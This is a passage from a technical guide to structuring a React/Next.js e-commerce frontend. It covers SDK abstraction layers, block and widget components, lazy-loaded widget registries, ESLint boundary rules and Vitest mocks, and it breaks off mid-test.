```typescript
// src/sdk/http/http.types.ts

export interface HttpSdk {
  get<T>(url: string, options?: RequestOptions): Promise<T>
  post<T>(url: string, body: unknown, options?: RequestOptions): Promise<T>
  put<T>(url: string, body: unknown, options?: RequestOptions): Promise<T>
  delete<T>(url: string, options?: RequestOptions): Promise<T>
}

export interface RequestOptions {
  headers?: Record<string, string>
  signal?: AbortSignal
  cache?: RequestCache
}
```

```typescript
// src/sdk/state/state.types.ts

export interface StateSdk {
  /**
   * Get current state for a key
   */
  getState<T>(key: string): T | undefined

  /**
   * Set state for a key
   */
  setState<T>(key: string, value: T): void

  /**
   * Subscribe to state changes
   * @returns unsubscribe function
   */
  subscribe<T>(key: string, callback: (value: T) => void): () => void
}
```

### SDK Provider Implementation

```typescript title="src/sdk/core/sdk.provider.tsx" collapse={1-6, 16-19}
// src/sdk/core/sdk.provider.tsx

import { createContext, useContext, type FC, type PropsWithChildren } from 'react';
import type { SdkServices } from './sdk.types';

const SdkContext = createContext<SdkServices | null>(null);

// Key pattern: useSdk hook with runtime validation
export const useSdk = (): SdkServices => {
  const ctx = useContext(SdkContext);
  if (!ctx) {
    throw new Error('useSdk must be used within SdkProvider');
  }
  return ctx;
};

export interface SdkProviderProps {
  services: SdkServices;
}

// Provider wraps application, injecting services
export const SdkProvider: FC<PropsWithChildren<SdkProviderProps>> = ({
  children,
  services,
}) => (
  <SdkContext.Provider value={services}>
    {children}
  </SdkContext.Provider>
);
```

### SDK Hook Examples

```typescript
// src/sdk/analytics/analytics.hooks.ts

import { useSdk } from "../core/sdk.provider"
import type { AnalyticsSdk } from "./analytics.types"

export const useAnalytics = (): AnalyticsSdk => {
  const sdk = useSdk()
  return sdk.analytics
}
```

```typescript title="src/sdk/experiments/experiments.hooks.ts" collapse={1-4}
// src/sdk/experiments/experiments.hooks.ts

import { useEffect } from "react"
import { useSdk } from "../core/sdk.provider"

export const useExperiment = (experimentId: string): string | null => {
  const { experiments } = useSdk()
  const variant = experiments.getVariant(experimentId)

  useEffect(() => {
    if (variant !== null) {
      experiments.trackExposure(experimentId, variant)
    }
  }, [experimentId, variant, experiments])

  return variant
}

export const useFeatureFlag = (flagName: string): boolean => {
  const { experiments } = useSdk()
  return experiments.isFeatureEnabled(flagName)
}
```

### Application-Level SDK Implementation

The application shell provides concrete implementations:

```typescript title="app/providers.tsx" collapse={1-8, 15-42, 53-80}
// app/providers.tsx (framework-specific, outside src/)

'use client'; // Next.js specific

import { useMemo, type FC, type PropsWithChildren } from 'react';
import { useRouter, usePathname, useSearchParams } from 'next/navigation'; // Framework import OK here
import { SdkProvider, type SdkServices } from '@sdk/core';

/**
 * Creates SDK service implementations using framework-specific APIs.
 * This is the ONLY place where framework imports are allowed.
 */
const createSdkServices = (): SdkServices => ({
  analytics: {
    track: (event, props) => {
      // Integrate with your analytics provider
      // e.g., segment.track(event, props)
      console.log('[Analytics] Track:', event, props);
    },
    trackPageView: (page, props) => {
      console.log('[Analytics] Page View:', page, props);
    },
    trackImpression: (id, props) => {
      console.log('[Analytics] Impression:', id, props);
    },
    identify: (userId, traits) => {
      console.log('[Analytics] Identify:', userId, traits);
    },
  },

  experiments: {
    getVariant: (experimentId) => {
      // Integrate with your experimentation platform
      // e.g., return optimizely.getVariant(experimentId);
      return null;
    },
    isFeatureEnabled: (flag) => {
      // e.g., return launchDarkly.isEnabled(flag);
      return false;
    },
    trackExposure: (experimentId, variant) => {
      console.log('[Experiments] Exposure:', experimentId, variant);
    },
  },

  // Key pattern: Router abstraction hides Next.js/Remix differences
  router: {
    push: (path) => window.location.href = path, // Simplified; use framework router
    replace: (path) => window.location.replace(path),
    back: () => window.history.back(),
    prefetch: (path) => { /* Framework-specific prefetch */ },
    pathname: typeof window !== 'undefined' ? window.location.pathname : '/',
    query: {},
  },

  http: {
    get: async (url, opts) => {
      const res = await fetch(url, { ...opts, method: 'GET' });
      return res.json();
    },
    post: async (url, body, opts) => {
      const res = await fetch(url, {
        ...opts,
        method: 'POST',
        headers: { 'Content-Type': 'application/json', ...opts?.headers },
        body: JSON.stringify(body),
      });
      return res.json();
    },
    put: async (url, body, opts) => {
      const res = await fetch(url, {
        ...opts,
        method: 'PUT',
        headers: { 'Content-Type': 'application/json', ...opts?.headers },
        body: JSON.stringify(body),
      });
      return res.json();
    },
    delete: async (url, opts) => {
      const res = await fetch(url, { ...opts, method: 'DELETE' });
      return res.json();
    },
  },

  state: createStateAdapter(), // Implement based on your state management choice
});

// Application root wires up concrete implementations
export const AppProviders: FC<PropsWithChildren> = ({ children }) => {
  const services = useMemo(() => createSdkServices(), []);

  return (
    <SdkProvider services={services}>
      {children}
    </SdkProvider>
  );
};
```

---

## Folder Structure

### Complete Structure

```txt
src/
├── sdk/                                    # Internal SDKs
│   ├── index.ts                            # Public barrel: all SDK hooks
│   ├── core/
│   │   ├── sdk.types.ts
│   │   ├── sdk.provider.tsx
│   │   └── index.ts
│   ├── analytics/
│   │   ├── analytics.types.ts
│   │   ├── analytics.provider.tsx
│   │   ├── analytics.hooks.ts
│   │   └── index.ts
│   ├── experiments/
│   │   ├── experiments.types.ts
│   │   ├── experiments.provider.tsx
│   │   ├── experiments.hooks.ts
│   │   └── index.ts
│   ├── router/
│   │   ├── router.types.ts
│   │   ├── router.provider.tsx
│   │   ├── router.hooks.ts
│   │   └── index.ts
│   ├── http/
│   │   ├── http.types.ts
│   │   ├── http.provider.tsx
│   │   ├── http.hooks.ts
│   │   └── index.ts
│   ├── state/
│   │   ├── state.types.ts
│   │   ├── state.provider.tsx
│   │   ├── state.hooks.ts
│   │   └── index.ts
│   └── testing/
│       ├── test-sdk.provider.tsx
│       ├── create-mock-sdk.ts
│       └── index.ts
│
├── blocks/                                 # Business-aware building blocks
│   ├── index.ts                            # Public barrel
│   ├── blocks.types.ts                     # Shared Block types
│   │
│   ├── providers/                          # Block-level providers (if needed)
│   │   ├── blocks.provider.tsx
│   │   └── index.ts
│   │
│   ├── testing/                            # Block test utilities
│   │   ├── test-blocks.provider.tsx
│   │   ├── render-block.tsx
│   │   └── index.ts
│   │
│   ├── product-card/
│   │   ├── product-card.component.tsx      # Container
│   │   ├── product-card.view.tsx           # Pure render
│   │   ├── product-card.hooks.ts           # Side effects
│   │   ├── product-card.types.ts           # Types
│   │   ├── product-card.test.tsx           # Tests
│   │   └── index.ts                        # Public API
│   │
│   ├── add-to-cart-button/
│   │   ├── add-to-cart-button.component.tsx
│   │   ├── add-to-cart-button.view.tsx
│   │   ├── add-to-cart-button.hooks.ts
│   │   ├── add-to-cart-button.types.ts
│   │   ├── add-to-cart-button.test.tsx
│   │   └── index.ts
│   │
│   └── [other-blocks]/
│
├── widgets/                                # BFF-driven widgets
│   ├── index.ts                            # Public barrel
│   │
│   ├── types/                              # Shared widget types
│   │   ├── widget.types.ts
│   │   ├── payload.types.ts
│   │   └── index.ts
│   │
│   ├── hero-banner/
│   │   ├── hero-banner.widget.tsx          # Widget container
│   │   ├── hero-banner.view.tsx            # Pure render
│   │   ├── hero-banner.hooks.ts            # Widget logic
│   │   ├── hero-banner.types.ts            # Payload types
│   │   ├── hero-banner.test.tsx
│   │   └── index.ts
│   │
│   ├── product-carousel/
│   │   ├── product-carousel.widget.tsx
│   │   ├── product-carousel.view.tsx
│   │   ├── product-carousel.hooks.ts
│   │   ├── product-carousel.types.ts
│   │   └── index.ts
│   │
│   └── [other-widgets]/
│
├── registries/                             # Page-specific widget registries
│   ├── index.ts
│   ├── registry.types.ts                   # Registry type definitions
│   ├── home.registry.ts                    # Home page widgets
│   ├── pdp.registry.ts                     # Product detail page widgets
│   ├── plp.registry.ts                     # Product listing page widgets
│   ├── cart.registry.ts                    # Cart page widgets
│   └── checkout.registry.ts                # Checkout page widgets
│
├── layout-engine/                          # BFF layout composition
│   ├── index.ts
│   ├── layout-renderer.component.tsx
│   ├── widget-renderer.component.tsx
│   ├── layout.types.ts
│   └── layout.hooks.ts
│
└── shared/                                 # Non-UI utilities
    ├── types/
    │   └── common.types.ts
    └── utils/
        ├── format.utils.ts
        └── validation.utils.ts
```

### File Naming Convention

| File Type             | Pattern                | Example                      |
| --------------------- | ---------------------- | ---------------------------- |
| Component (container) | `{name}.component.tsx` | `product-card.component.tsx` |
| View (pure render)    | `{name}.view.tsx`      | `product-card.view.tsx`      |
| Widget container      | `{name}.widget.tsx`    | `hero-banner.widget.tsx`     |
| Hooks                 | `{name}.hooks.ts`      | `product-card.hooks.ts`      |
| Types                 | `{name}.types.ts`      | `product-card.types.ts`      |
| Provider              | `{name}.provider.tsx`  | `sdk.provider.tsx`           |
| Registry              | `{name}.registry.ts`   | `home.registry.ts`           |
| Tests                 | `{name}.test.tsx`      | `product-card.test.tsx`      |
| Utilities             | `{name}.utils.ts`      | `format.utils.ts`            |
| Barrel export         | `index.ts`             | `index.ts`                   |

---

## Implementation Patterns

### Type Definitions

#### Block Types

```typescript title="src/blocks/blocks.types.ts" collapse={1-3}
// src/blocks/blocks.types.ts

import type { FC, PropsWithChildren } from "react"

/**
 * A Block component - business-aware building block
 */
export type BlockComponent<TProps = object> = FC<TProps>

/**
 * A Block View - pure presentational, no side effects
 */
export type BlockView<TProps = object> = FC<TProps>

/**
 * Block with children
 */
export type BlockWithChildren<TProps = object> = FC<PropsWithChildren<TProps>>

/**
 * Standard hook result for data-fetching blocks
 */
export interface BlockHookResult<TData, TActions = object> {
  data: TData | null
  isLoading: boolean
  error: Error | null
  actions: TActions
}

/**
 * Props for analytics tracking (optional on all blocks)
 */
export interface TrackingProps {
  /** Unique identifier for analytics */
  trackingId?: string
  /** Additional tracking data */
  trackingData?: Record<string, unknown>
}
```

#### Widget Types

```typescript title="src/widgets/types/widget.types.ts" collapse={1-3}
// src/widgets/types/widget.types.ts

import type { ComponentType, ReactNode } from "react"

/**
 * Base BFF widget payload structure
 */
export interface WidgetPayload<TData = unknown> {
  /** Unique widget instance ID */
  id: string
  /** Widget type identifier (matches registry key) */
  type: string
  /** Widget-specific data from BFF */
  data: TData
  /** Optional pagination info */
  pagination?: WidgetPagination
}

export interface WidgetPagination {
  cursor: string | null
  hasMore: boolean
  pageSize: number
}

/**
 * Widget component type
 */
export type WidgetComponent<TData = unknown> = ComponentType<{
  payload: WidgetPayload<TData>
}>

/**
 * Widget view - pure render layer
 */
export type WidgetView<TProps = object> = ComponentType<TProps>

/**
 * Widget hook result with pagination support
 */
export interface WidgetHookResult<TData> {
  data: TData | null
  isLoading: boolean
  error: Error | null
  pagination: {
    loadMore: () => Promise<void>
    hasMore: boolean
    isLoadingMore: boolean
  } | null
}
```

#### Registry Types

```typescript title="src/registries/registry.types.ts" collapse={1-4}
// src/registries/registry.types.ts

import type { ComponentType, ReactNode } from "react"
import type { WidgetPayload } from "@widgets/types"

/**
 * Configuration for a registered widget
 */
export interface WidgetConfig {
  /** The widget component to render */
  component: ComponentType<{ payload: WidgetPayload }>

  /** Optional custom error boundary */
  errorBoundary?: ComponentType<{
    children: ReactNode
    fallback?: ReactNode
    onError?: (error: Error) => void
  }>

  /** Optional suspense fallback (loading state) */
  suspenseFallback?: ReactNode

  /** Optional skeleton component for loading */
  skeleton?: ComponentType

  /** Whether to wrap in error boundary (default: true) */
  withErrorBoundary?: boolean

  /** Whether to wrap in suspense (default: true) */
  withSuspense?: boolean
}

/**
 * Widget registry - maps widget type IDs to configurations
 */
export type WidgetRegistry = Record<string, WidgetConfig>
```

### Block Implementation Example

```typescript title="src/blocks/add-to-cart-button/add-to-cart-button.types.ts" collapse={1-3}
// src/blocks/add-to-cart-button/add-to-cart-button.types.ts

import type { TrackingProps, BlockHookResult } from "../blocks.types"

export interface AddToCartButtonProps extends TrackingProps {
  sku: string
  quantity?: number
  variant?: "primary" | "secondary" | "ghost"
  size?: "sm" | "md" | "lg"
  disabled?: boolean
  onSuccess?: () => void
  onError?: (error: Error) => void
}

export interface AddToCartViewProps {
  onAdd: () => void
  isLoading: boolean
  error: string | null
  variant: "primary" | "secondary" | "ghost"
  size: "sm" | "md" | "lg"
  disabled: boolean
}

export interface AddToCartActions {
  addToCart: () => Promise<void>
  reset: () => void
}

export type UseAddToCartResult = BlockHookResult<{ cartId: string }, AddToCartActions>
```

```typescript title="src/blocks/add-to-cart-button/add-to-cart-button.hooks.ts" collapse={1-5, 14-18, 40-52}
// src/blocks/add-to-cart-button/add-to-cart-button.hooks.ts

import { useState, useCallback } from "react"
import { useAnalytics, useHttpClient } from "@sdk"
import type { UseAddToCartResult } from "./add-to-cart-button.types"

export const useAddToCart = (
  sku: string,
  quantity: number = 1,
  callbacks?: { onSuccess?: () => void; onError?: (error: Error) => void },
): UseAddToCartResult => {
  const analytics = useAnalytics()
  const http = useHttpClient()

  const [isLoading, setIsLoading] = useState(false)
  const [error, setError] = useState<Error | null>(null)
  const [data, setData] = useState<{ cartId: string } | null>(null)

  // Key pattern: Business logic uses SDK abstractions, not framework APIs
  const addToCart = useCallback(async (): Promise<void> => {
    setIsLoading(true)
    setError(null)

    try {
      const response = await http.post<{ cartId: string }>("/api/cart/add", {
        sku,
        quantity,
      })

      setData(response)
      analytics.track("add_to_cart", { sku, quantity, cartId: response.cartId })
      callbacks?.onSuccess?.()
    } catch (e) {
      const error = e instanceof Error ? e : new Error("Failed to add to cart")
      setError(error)
      analytics.track("add_to_cart_error", { sku, error: error.message })
      callbacks?.onError?.(error)
      throw error
    } finally {
      setIsLoading(false)
    }
  }, [sku, quantity, http, analytics, callbacks])

  const reset = useCallback((): void => {
    setError(null)
    setData(null)
  }, [])

  return {
    data,
    isLoading,
    error,
    actions: { addToCart, reset },
  }
}
```

```typescript title="src/blocks/add-to-cart-button/add-to-cart-button.view.tsx" collapse={1-5}
// src/blocks/add-to-cart-button/add-to-cart-button.view.tsx

import type { FC } from 'react';
import { Button, Spinner, Text, Stack } from '@company-name/design-system';
import type { AddToCartViewProps } from './add-to-cart-button.types';

export const AddToCartButtonView: FC<AddToCartViewProps> = ({
  onAdd,
  isLoading,
  error,
  variant,
  size,
  disabled,
}) => (
  <Stack gap="xs">
    <Button
      variant={variant}
      size={size}
      onClick={onAdd}
      disabled={disabled || isLoading}
      aria-busy={isLoading}
      aria-describedby={error ? 'add-to-cart-error' : undefined}
    >
      {isLoading ? (
        <>
          <Spinner size="sm" aria-hidden />
          <span>Adding...</span>
        </>
      ) : (
        'Add to Cart'
      )}
    </Button>

    {error && (
      <Text id="add-to-cart-error" color="error" size="sm" role="alert">
        {error}
      </Text>
    )}
  </Stack>
);
```

```typescript title="src/blocks/add-to-cart-button/add-to-cart-button.component.tsx" collapse={1-6}
// src/blocks/add-to-cart-button/add-to-cart-button.component.tsx

import type { FC } from 'react';
import { useAddToCart } from './add-to-cart-button.hooks';
import { AddToCartButtonView } from './add-to-cart-button.view';
import type { AddToCartButtonProps } from './add-to-cart-button.types';

export const AddToCartButton: FC<AddToCartButtonProps> = ({
  sku,
  quantity = 1,
  variant = 'primary',
  size = 'md',
  disabled = false,
  onSuccess,
  onError,
}) => {
  const { isLoading, error, actions } = useAddToCart(sku, quantity, {
    onSuccess,
    onError
  });

  return (
    <AddToCartButtonView
      onAdd={actions.addToCart}
      isLoading={isLoading}
      error={error?.message ?? null}
      variant={variant}
      size={size}
      disabled={disabled}
    />
  );
};
```

```typescript
// src/blocks/add-to-cart-button/index.ts

export { AddToCartButton } from "./add-to-cart-button.component"
export { AddToCartButtonView } from "./add-to-cart-button.view"
export { useAddToCart } from "./add-to-cart-button.hooks"
export type { AddToCartButtonProps, AddToCartViewProps } from "./add-to-cart-button.types"
```

### Widget Implementation Example

```typescript title="src/widgets/product-carousel/product-carousel.types.ts" collapse={1-3}
// src/widgets/product-carousel/product-carousel.types.ts

import type { WidgetPayload, WidgetHookResult } from "../types"

export interface ProductCarouselData {
  title: string
  subtitle?: string
  products: ProductItem[]
}

export interface ProductItem {
  id: string
  sku: string
  name: string
  price: number
  originalPrice?: number
  imageUrl: string
  rating?: number
  reviewCount?: number
}

export type ProductCarouselPayload = WidgetPayload<ProductCarouselData>

export interface ProductCarouselViewProps {
  title: string
  subtitle?: string
  products: ProductItem[]
  onLoadMore?: () => void
  hasMore: boolean
  isLoadingMore: boolean
}

export type UseProductCarouselResult = WidgetHookResult<ProductCarouselData>
```

```typescript title="src/widgets/product-carousel/product-carousel.hooks.ts" collapse={1-5, 11-17, 52-61}
// src/widgets/product-carousel/product-carousel.hooks.ts

import { useState, useCallback, useEffect } from "react"
import { useAnalytics, useHttpClient } from "@sdk"
import type { ProductCarouselPayload, UseProductCarouselResult } from "./product-carousel.types"

export const useProductCarousel = (payload: ProductCarouselPayload): UseProductCarouselResult => {
  const analytics = useAnalytics()
  const http = useHttpClient()

  const [data, setData] = useState(payload.data)
  const [isLoading, setIsLoading] = useState(false)
  const [isLoadingMore, setIsLoadingMore] = useState(false)
  const [error, setError] = useState<Error | null>(null)
  const [cursor, setCursor] = useState(payload.pagination?.cursor ?? null)
  const [hasMore, setHasMore] = useState(payload.pagination?.hasMore ?? false)

  // Track impression when widget becomes visible
  useEffect(() => {
    analytics.trackImpression(payload.id, {
      widgetType: payload.type,
      productCount: data.products.length,
    })
  }, [payload.id, payload.type, analytics, data.products.length])

  // Key pattern: Widget handles pagination via SDK http abstraction
  const loadMore = useCallback(async (): Promise<void> => {
    if (!hasMore || isLoadingMore) return

    setIsLoadingMore(true)

    try {
      const response = await http.get<{
        products: ProductItem[]
        cursor: string | null
        hasMore: boolean
      }>(`/api/widgets/${payload.id}/paginate?cursor=${cursor}`)

      setData((prev) => ({
        ...prev,
        products: [...prev.products, ...response.products],
      }))
      setCursor(response.cursor)
      setHasMore(response.hasMore)

      analytics.track("widget_load_more", {
        widgetId: payload.id,
        itemsLoaded: response.products.length,
      })
    } catch (e) {
      setError(e instanceof Error ? e : new Error("Failed to load more"))
    } finally {
      setIsLoadingMore(false)
    }
  }, [payload.id, cursor, hasMore, isLoadingMore, http, analytics])

  return {
    data,
    isLoading,
    error,
    pagination: payload.pagination ? { loadMore, hasMore, isLoadingMore } : null,
  }
}
```

```typescript title="src/widgets/product-carousel/product-carousel.view.tsx" collapse={1-6}
// src/widgets/product-carousel/product-carousel.view.tsx

import type { FC } from 'react';
import { Section, Carousel, Button, Skeleton } from '@company-name/design-system';
import { ProductCard } from '@blocks/product-card';
import type { ProductCarouselViewProps } from './product-carousel.types';

export const ProductCarouselView: FC<ProductCarouselViewProps> = ({
  title,
  subtitle,
  products,
  onLoadMore,
  hasMore,
  isLoadingMore,
}) => (
  <Section>
    <Section.Header>
      <Section.Title>{title}</Section.Title>
      {subtitle && <Section.Subtitle>{subtitle}</Section.Subtitle>}
    </Section.Header>

    <Carousel itemsPerView={{ base: 2, md: 3, lg: 4 }}>
      {products.map((product) => (
        <Carousel.Item key={product.id}>
          <ProductCard
            productId={product.id}
            sku={product.sku}
            name={product.name}
            price={product.price}
            originalPrice={product.originalPrice}
            imageUrl={product.imageUrl}
            rating={product.rating}
            reviewCount={product.reviewCount}
          />
        </Carousel.Item>
      ))}

      {isLoadingMore && (
        <Carousel.Item>
          <Skeleton variant="product-card" />
        </Carousel.Item>
      )}
    </Carousel>

    {hasMore && onLoadMore && (
      <Section.Footer>
        <Button
          variant="ghost"
          onClick={onLoadMore}
          loading={isLoadingMore}
        >
          Load More
        </Button>
      </Section.Footer>
    )}
  </Section>
);
```

```typescript title="src/widgets/product-carousel/product-carousel.widget.tsx" collapse={1-6}
// src/widgets/product-carousel/product-carousel.widget.tsx

import type { FC } from 'react';
import { useProductCarousel } from './product-carousel.hooks';
import { ProductCarouselView } from './product-carousel.view';
import type { ProductCarouselPayload } from './product-carousel.types';

interface ProductCarouselWidgetProps {
  payload: ProductCarouselPayload;
}

export const ProductCarouselWidget: FC<ProductCarouselWidgetProps> = ({ payload }) => {
  const { data, error, pagination } = useProductCarousel(payload);

  if (error) {
    // Let error boundary handle this
    throw error;
  }

  if (!data) {
    return null;
  }

  return (
    <ProductCarouselView
      title={data.title}
      subtitle={data.subtitle}
      products={data.products}
      onLoadMore={pagination?.loadMore}
      hasMore={pagination?.hasMore ?? false}
      isLoadingMore={pagination?.isLoadingMore ?? false}
    />
  );
};
```

### Registry Implementation

> **Version Context (React 18+):** `React.lazy()` with dynamic imports remains the standard code-splitting pattern. React 19 introduces `use()` for suspending on promises, but `lazy()` continues to work and is preferred for component-level splitting.

```typescript title="src/registries/home.registry.ts" collapse={1-4}
// src/registries/home.registry.ts

import { lazy } from "react"
import type { WidgetRegistry } from "./registry.types"

export const homeRegistry: WidgetRegistry = {
  HERO_BANNER: {
    component: lazy(() => import("@widgets/hero-banner").then((m) => ({ default: m.HeroBannerWidget }))),
    withErrorBoundary: true,
    withSuspense: true,
  },

  PRODUCT_CAROUSEL: {
    component: lazy(() => import("@widgets/product-carousel").then((m) => ({ default: m.ProductCarouselWidget }))),
    withErrorBoundary: true,
    withSuspense: true,
  },

  CATEGORY_GRID: {
    component: lazy(() => import("@widgets/category-grid").then((m) => ({ default: m.CategoryGridWidget }))),
  },

  PROMOTIONAL_BANNER: {
    component: lazy(() => import("@widgets/promotional-banner").then((m) => ({ default: m.PromotionalBannerWidget }))),
  },

  NEWSLETTER_SIGNUP: {
    component: lazy(() => import("@widgets/newsletter-signup").then((m) => ({ default: m.NewsletterSignupWidget }))),
    withErrorBoundary: false, // Non-critical widget
  },
}
```

```typescript title="src/registries/index.ts" collapse={1-11}
// src/registries/index.ts

import type { WidgetRegistry } from "./registry.types"

export { homeRegistry } from "./home.registry"
export { pdpRegistry } from "./pdp.registry"
export { plpRegistry } from "./plp.registry"
export { cartRegistry } from "./cart.registry"
export { checkoutRegistry } from "./checkout.registry"

export type { WidgetRegistry, WidgetConfig } from "./registry.types"

/**
 * Get registry by page type identifier
 */
export const getRegistryByPageType = (pageType: string): WidgetRegistry => {
  const registries: Record<string, () => Promise<{ default: WidgetRegistry }>> = {
    home: () => import("./home.registry").then((m) => ({ default: m.homeRegistry })),
    pdp: () => import("./pdp.registry").then((m) => ({ default: m.pdpRegistry })),
    plp: () => import("./plp.registry").then((m) => ({ default: m.plpRegistry })),
    cart: () => import("./cart.registry").then((m) => ({ default: m.cartRegistry })),
    checkout: () => import("./checkout.registry").then((m) => ({ default: m.checkoutRegistry })),
  }

  // For synchronous access, import directly
  // For async/code-split access, use the loader above
  const syncRegistries: Record<string, WidgetRegistry> = {}

  return syncRegistries[pageType] ?? {}
}
```

---

## Boundary Control & Enforcement

### ESLint Configuration

> **Version Context:** This configuration uses ESLint's flat config format (`eslint.config.js`), the default since ESLint 9 (April 2024). The `eslint-plugin-boundaries` package (5.x+) fully supports flat config. Legacy `.eslintrc.*` files work but are deprecated.

```javascript title="eslint.config.js" collapse={1-5, 49-74, 95-120, 123-162}
// eslint.config.js

import boundaries from "eslint-plugin-boundaries"
import tseslint from "typescript-eslint"

export default [
  ...tseslint.configs.strictTypeChecked,

  // Key pattern: Define architectural layers as boundary elements
  {
    plugins: { boundaries },
    settings: {
      "boundaries/elements": [
        { type: "sdk", pattern: "src/sdk/*" },
        { type: "blocks", pattern: "src/blocks/*" },
        { type: "widgets", pattern: "src/widgets/*" },
        { type: "registries", pattern: "src/registries/*" },
        { type: "layout", pattern: "src/layout-engine/*" },
        { type: "shared", pattern: "src/shared/*" },
        { type: "primitives", pattern: "node_modules/@company-name/design-system/*" },
      ],
      "boundaries/ignore": ["**/*.test.tsx", "**/*.test.ts", "**/*.spec.tsx", "**/*.spec.ts"],
    },
    rules: {
      // Enforces dependency rules between layers
      "boundaries/element-types": [
        "error",
        {
          default: "disallow",
          rules: [
            // SDK: no internal dependencies
            { from: "sdk", allow: [] },

            // Blocks: primitives, sdk, sibling blocks, shared
            { from: "blocks", allow: ["primitives", "sdk", "blocks", "shared"] },

            // Widgets: primitives, sdk, blocks, shared
            { from: "widgets", allow: ["primitives", "sdk", "blocks", "shared"] },

            // Registries: widgets only (lazy imports)
            { from: "registries", allow: ["widgets"] },

            // Layout: primitives, registries, shared
            { from: "layout", allow: ["primitives", "registries", "shared"] },

            // Shared: primitives only
            { from: "shared", allow: ["primitives"] },
          ],
        },
      ],
    },
  },

  // Enforce barrel exports (no deep imports)
  {
    rules: {
      "no-restricted-imports": [
        "error",
        {
          patterns: [
            {
              group: ["@blocks/*/*"],
              message: "Import from @blocks/{name} only, not internal files",
            },
            {
              group: ["@widgets/*/*", "!@widgets/types", "!@widgets/types/*"],
              message: "Import from @widgets/{name} only, not internal files",
            },
            {
              group: ["@sdk/*/*"],
              message: "Import from @sdk or @sdk/{name} only, not internal files",
            },
          ],
        },
      ],
    },
  },

  // Block framework imports in components
  {
    files: ["src/blocks/**/*", "src/widgets/**/*", "src/sdk/**/*"],
    rules: {
      "no-restricted-imports": [
        "error",
        {
          patterns: [
            {
              group: ["next/*", "next"],
              message: "Use @sdk abstractions instead of Next.js imports",
            },
            {
              group: ["@remix-run/*"],
              message: "Use @sdk abstractions instead of Remix imports",
            },
            {
              group: ["react-router", "react-router-dom"],
              message: "Use @sdk/router instead of react-router",
            },
          ],
        },
      ],
    },
  },

  // Blocks cannot import widgets
  {
    files: ["src/blocks/**/*"],
    rules: {
      "no-restricted-imports": [
        "error",
        {
          patterns: [
            { group: ["@widgets", "@widgets/*"], message: "Blocks cannot import widgets" },
            { group: ["@registries", "@registries/*"], message: "Blocks cannot import registries" },
            { group: ["@layout", "@layout/*"], message: "Blocks cannot import layout-engine" },
          ],
        },
      ],
    },
  },

  // Widget-to-widget imports are discouraged
  {
    files: ["src/widgets/**/*"],
    rules: {
      "no-restricted-imports": [
        "warn",
        {
          patterns: [
            {
              group: ["@widgets/*", "!@widgets/types", "!@widgets/types/*"],
              message: "Widget-to-widget imports are discouraged. Extract shared logic to @blocks.",
            },
          ],
        },
      ],
    },
  },

  // Strict TypeScript for SDK, Blocks, and Widgets
  {
    files: [
      "src/sdk/**/*.ts",
      "src/sdk/**/*.tsx",
      "src/blocks/**/*.ts",
      "src/blocks/**/*.tsx",
      "src/widgets/**/*.ts",
      "src/widgets/**/*.tsx",
    ],
    languageOptions: {
      parserOptions: {
        project: "./tsconfig.json",
      },
    },
    rules: {
      "@typescript-eslint/explicit-function-return-type": "error",
      "@typescript-eslint/no-explicit-any": "error",
      "@typescript-eslint/strict-boolean-expressions": "error",
      "@typescript-eslint/no-floating-promises": "error",
      "@typescript-eslint/no-unsafe-assignment": "error",
      "@typescript-eslint/no-unsafe-member-access": "error",
      "@typescript-eslint/no-unsafe-call": "error",
      "@typescript-eslint/no-unsafe-return": "error",
      "@typescript-eslint/prefer-nullish-coalescing": "error",
      "@typescript-eslint/prefer-optional-chain": "error",
      "@typescript-eslint/no-unnecessary-condition": "error",
    },
  },
]
```

---

## Testability

### Test SDK Provider

```typescript title="src/sdk/testing/create-mock-sdk.ts" collapse={1-4}
// src/sdk/testing/create-mock-sdk.ts

import { vi } from "vitest"
import type { SdkServices } from "../core/sdk.types"

type DeepPartial<T> = {
  [P in keyof T]?: T[P] extends object ? DeepPartial<T[P]> : T[P]
}

export const createMockSdk = (overrides: DeepPartial<SdkServices> = {}): SdkServices => ({
  analytics: {
    track: vi.fn(),
    trackPageView: vi.fn(),
    trackImpression: vi.fn(),
    identify: vi.fn(),
    ...overrides.analytics,
  },
  experiments: {
    getVariant: vi.fn().mockReturnValue(null),
    isFeatureEnabled: vi.fn().mockReturnValue(false),
    trackExposure: vi.fn(),
    ...overrides.experiments,
  },
  router: {
    push: vi.fn(),
    replace: vi.fn(),
    back: vi.fn(),
    prefetch: vi.fn(),
    pathname: "/",
    query: {},
    ...overrides.router,
  },
  http: {
    get: vi.fn().mockResolvedValue({}),
    post: vi.fn().mockResolvedValue({}),
    put: vi.fn().mockResolvedValue({}),
    delete: vi.fn().mockResolvedValue({}),
    ...overrides.http,
  },
  state: {
    getState: vi.fn().mockReturnValue(undefined),
    setState: vi.fn(),
    subscribe: vi.fn().mockReturnValue(() => {}),
    ...overrides.state,
  },
})
```

```typescript title="src/sdk/testing/test-sdk.provider.tsx" collapse={1-6, 8-14}
// src/sdk/testing/test-sdk.provider.tsx

import type { FC, PropsWithChildren } from 'react';
import { SdkProvider } from '../core/sdk.provider';
import { createMockSdk } from './create-mock-sdk';
import type { SdkServices } from '../core/sdk.types';

type DeepPartial<T> = {
  [P in keyof T]?: T[P] extends object ? DeepPartial<T[P]> : T[P];
};

interface TestSdkProviderProps {
  overrides?: DeepPartial<SdkServices>;
}

// Key pattern: Test provider wraps components with mocked SDK
export const TestSdkProvider: FC<PropsWithChildren<TestSdkProviderProps>> = ({
  children,
  overrides = {},
}) => (
  <SdkProvider services={createMockSdk(overrides)}>
    {children}
  </SdkProvider>
);
```

### Block Test Example

```typescript title="src/blocks/add-to-cart-button/add-to-cart-button.test.tsx" collapse={1-6, 8-14, 57-98}
// src/blocks/add-to-cart-button/add-to-cart-button.test.tsx

import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { vi, describe, it, expect, beforeEach } from 'vitest';
import { TestSdkProvider } from '@sdk/testing';
import { AddToCartButton } from './add-to-cart-button.component';

describe('AddToCartButton', () => {
  const mockPost = vi.fn();
  const mockTrack = vi.fn();

  beforeEach(() => {
    vi.clearAllMocks();
  });

  // Key pattern: TestSdkProvider injects mocked SDK services
  const renderComponent = (props = {}) => {
    return render(
      <TestSdkProvider
        overrides={{
          http: { post: mockPost },
          analytics: { track: mockTrack },
        }}
      >
        <AddToCartButton sku="TEST-SKU" {...props} />
      </TestSdkProvider>
    );
  };

  // Key pattern: Tests verify behavior, not implementation
  it('adds item to cart on click', async () => {
    mockPost.mockResolvedValueOnce({ cartId: 'cart-123' });

    renderComponent();

    fireEvent.click(screen.getByRole('button', { name: /add to cart/i }));

    await waitFor(() => {
